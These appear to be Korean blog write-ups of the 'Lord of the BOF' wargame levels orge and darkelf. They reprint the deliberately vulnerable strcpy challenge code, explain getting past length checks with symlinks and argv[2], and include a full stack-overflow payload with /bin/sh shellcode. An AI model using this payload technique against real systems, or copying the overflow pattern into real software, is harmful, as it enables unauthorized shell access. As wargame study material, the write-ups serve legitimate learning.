문제 C 코드다.
이전 문제에서 if문이 한개 추가됐다.

argv[0]의 길이가 77이 아니면 종료하도록 되어있다.

그냥 파일 이름길이가 77이 되도록 하면 간단할것 같은데 권한이 없어서 그렇게 할 수 없다.


그래서 사용한 방법은 심벌릭링크를 이용해 제목을 바꾸는 것이다.


/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

심벌릭 링크로 파일명의 길이를 75로 해야한다.

그 이유는 파일을 실행할때 ./filename 이렇게 실행하는데 경로를 나타내는 ./도 argv[0]에 포함되기 때문이다.


LOB에서 GDB를 돌릴때는 아래와 같이 풀경로로 argv[0] 값을 주기때문에 gdb용 심벌릭 링크와 쉘을 얻기 위한 심벌릭 링크를 총 두 개 주었다.

gdb용 심벌릭 링크의 이름의 길이는 앞의 경로길이를 뺀 61자를 주었다.


위 if문을 우회하고 이전 문제와 같이 argv[2]에 값을 넣는 방식으로 if문을 우회하고 쉘을 땄다.



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow troll  (0) 2017.08.18
Lord of bufferoverflow orge  (0) 2017.08.18
Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16

아래는 C언어 소스다. 

이전 문제와 다른점은 argv[1]의 길이를 체크한다는 것이다. argv[1]의 길이가 48을 넘기면 if문에 들어가게 되고 종료하게 된다. 

이 부분을 우회해야한다. 

우회방법은 간단하다. argv[2]에 쉘코드를 넣으면 buffer에 이어지게 값을 넣을 수 있다.


argv[1]과 argv[2]는 " "(공백)으로 구분하니 44바이트 뒤에 공백을 추가해서 argv[2]에 값을 넣어주면 된다.

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}






'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow orge  (0) 2017.08.18
Lord of bufferoverflow darkelf  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow cobolt  (0) 2017.08.16


payload = `python -c 'print "\x90"*44+"\x18\xfb\xff\xbf"+"\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'

'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow darkelf  (0) 2017.08.17
Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow cobolt  (0) 2017.08.16
Lord of bufferoverflow gremlin  (0) 2017.08.14

+ Recent posts